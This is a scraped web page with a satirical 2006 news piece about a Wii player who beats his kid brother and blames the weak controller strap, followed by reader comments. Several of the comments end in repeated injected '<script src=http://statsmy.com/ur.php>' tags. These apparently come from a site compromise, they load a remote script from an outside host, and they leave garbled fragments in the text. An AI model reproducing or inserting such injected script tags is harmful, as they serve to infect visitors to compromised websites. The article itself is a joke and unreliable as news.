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Nintendo Wii Player Punches The Living Crap Out Of Kid Brother, Blames Defective Controller Instead

by Mark on 12/10/2006 (7)

Kitana wins, eh? Hehe...we'll see about that!

COBB, TX - Cobb, Texas resident Danny Koslowski reportedly "slam-blasted the holy living be-Jesus" out of his kid brother Bud during an overzealous round of Nintendo Wii early Sunday.

"Yeah, I deuced the squealing little spaz good." Impetuously boasted Danny between Wiimote bats and baffs "But hey, it wasn't my fault. The Wiimotes have a weak strap, so I'm in the clear... at least that's what my mom thinks!"

In fact, complaints have been reportedly piling in about people smashing their televisions and beaning playmates due to Wii players breaking the Wiimote's apparently under-engineered, flimsy controller wrist straps. It appears that Nintendo has solved the problem once and for all, with the latest consoles being shipped with thicker and more secure strappings.

In truth, however, the real reason Koslowski slam hammered his kid brother was actually done deliberately due to him "taking me down in the 1st round of Boxing Action and kicking the head off of my Mortal Kombat: Armageddon Johnny Cage character when I paused the game to get a bottle of Mountain Dew and a triple-chocolate fudge striped brownie from the refrigerator.""0" style="

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1. by greymalkin on 3/1/2007 4:52:29 PM

This article is obviously false, Mortal Kombat Armageddon is not even going to be released until next year, and there is no such game as Boxing Action.h= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Nick on 3/1/2007 4:52:29 PM

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3. by kruptd on 3/1/2007 4:52:29 PM

Well my cousin has Mortal Kombat Armageddon and I played it. ?!?go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Merkin Von Schterkin on 3/1/2007 4:52:29 PM

Yo kruptd, Mortal Kombat: Armageddon hasn't come out on Wii yet - it has come out on PS2 and probably Xboxone </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

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6. by DA GAMER on 3/1/2007 4:52:29 PM

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